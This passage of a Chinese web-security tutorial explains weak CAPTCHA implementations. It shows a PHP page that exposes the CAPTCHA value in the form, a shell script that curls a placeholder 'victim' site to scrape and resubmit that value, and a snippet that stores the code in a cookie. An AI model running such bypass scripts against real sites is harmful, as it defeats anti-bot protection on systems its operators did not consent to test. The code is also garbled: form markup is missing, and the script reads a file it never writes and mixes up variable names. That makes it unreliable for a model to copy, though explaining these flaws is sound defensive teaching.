所谓验证码,就是将一串随机产生的数字或符号,生成一幅图片,图片里加上一些干扰象素(防止OCR),由用户肉眼识别其中的验证码信息。

  输入表单提交网站验证,验证成功后才能使用某项功能。不少网站为了防止用户利用机器人自动注册、登录、灌水,都采用了 验证码技术。

  很多验证码实现都有问题。比如直接给出用验证码在网页和cookies中。

  验证码在网页中的例子:

  CODE:

  /*

  * Filename: authpage.php

  * Author: hutuworm

  * Date: 2003-04-28

  * @Copyleft hutuworm.org

  */

  srand((double)microtime()*1000000);

  //验证用户输入是否和验证码一致

  if(isset($HTTP_POST_VARS['authinput']))

  {

  if(strcmp($HTTP_POST_VARS['authnum'],$HTTP_POST_VARS['authinput'])==0)

  echo "验证成功!";

  else

  echo "验证失败!";

  }

  //生成新的四位整数验证码

  while(($authnum=rand()%10000)<1000);

  ?>

  请输入验证码:

  >

  >

  [Copy to clipboard]

  以上例子直接将验证码储存在负面中,只需下载页面,得到验证码值就可突破限制。

  CODE:

  #!/bin/sh

  curl [url]http://www.vicitm.org/authpage.php[/url]

  authinput=`grep '' grep.txt | sed -e 's/[^0-9]//g'` #得到网页中的

  authnum

  curl [url]http://www.vicitm.org/authpage.php[/url] -d name=hacker -d submit="验证" -d authnum=$authnum

  [Copy to clipboard]

  CODE:

  session_register("authnum");

  $authnum = strval(rand("1111","9999"));

  setcookie("authnum",$authnum);

  ...

  ...

  if($number != $login_check_number || empty($number))

  {

  print("校验码不正确!");

  die();

  }

  [Copy to clipboard]